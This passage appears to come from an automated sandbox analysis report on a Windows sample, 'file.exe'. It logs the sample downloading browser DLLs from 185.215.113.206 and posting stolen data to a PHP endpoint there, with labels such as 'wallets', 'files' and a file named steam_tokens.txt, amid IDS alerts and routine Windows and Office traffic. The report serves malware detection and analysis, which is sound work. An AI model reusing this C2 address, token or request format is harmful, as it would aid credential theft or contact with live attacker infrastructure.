name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="file"------AFCFHDHIIIECBGCAKFIJ--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAFHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="message"wallets------IJDGIIEBFCBAAAAKKEGH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIECBAFBFHIJKFIJDAKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="message"files------FHIECBAFBFHIJKFIJDAK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJDAFBKFHIDGCFBFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 2d 2d 0d 0a Data Ascii: ------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="file"------AEHIJDAFBKFHIDGCFBFC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 2d 2d 0d 0a Data Ascii: ------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="message"ybncbhylepme------DAAFIIJDAAAAKFHIDAAA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 2d 2d 0d 0a Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AFCAAEGDBKJJKECBKFHC--

Source: Joe Sandbox View	IP Address: 152.195.19.97 152.195.19.97
Source: Joe Sandbox View	IP Address: 23.198.7.180 23.198.7.180
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49888 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB2CC60 PR_Recv,

0_2_6CB2CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HzmNXPkHkS7mDpr&MD=NTW6bEu3 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
